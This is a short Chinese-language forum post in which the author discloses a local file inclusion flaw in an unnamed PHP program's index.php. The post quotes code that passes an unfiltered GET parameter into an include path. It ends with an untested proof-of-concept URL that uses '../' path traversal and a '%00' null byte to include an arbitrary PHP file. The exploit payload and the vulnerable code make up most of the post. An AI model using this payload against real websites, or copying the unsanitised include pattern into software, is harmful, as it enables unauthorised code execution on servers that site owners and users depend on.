看到各位大牛为了为了版主拼命挖洞，不知不觉带动了偶熄灭已久的基情。

在网上查了下，貌似没有这个程序的漏洞信息，就发出来交流学习，反正偶也要洞木有用。

在网上随便找了下，漏洞很简单，只为了学习与交流。大牛飘过。看如下代码:

Index.php：

@extract($_GET,EXTR_PREFIX_ALL,"g");    //所有提交函数加前缀g,提交o就变成g_o
if(isset($_POST['submit']) || isset($g_submit)){
  @check_post_request();
  @extract($_POST,EXTR_PREFIX_ALL,"p");
}  //如果post有数据 先检查，然后赋值。

session_cache_limiter('private,must-revalidate');
if(!isset($_SESSION)){
  session_start();
}
$db = new c_mysql;
$g_m = (isset($g_m) && in_array_key($g_m,$config['model'])) ? $g_m : 'login';
$g_o = isset($g_o) ? $g_o : '';   //木有过滤
….
….
…
$operate_file = 'model/'.$g_m."_".$g_o.".php";
if(file_exists($operate_file))   //如果存在就包含
  include($operate_file);

create_html();
?>

由于搭建失败，我是直接看代码未测试。给出测试代码：

http://127.0.0.1/index.php?o=/../../1.php%00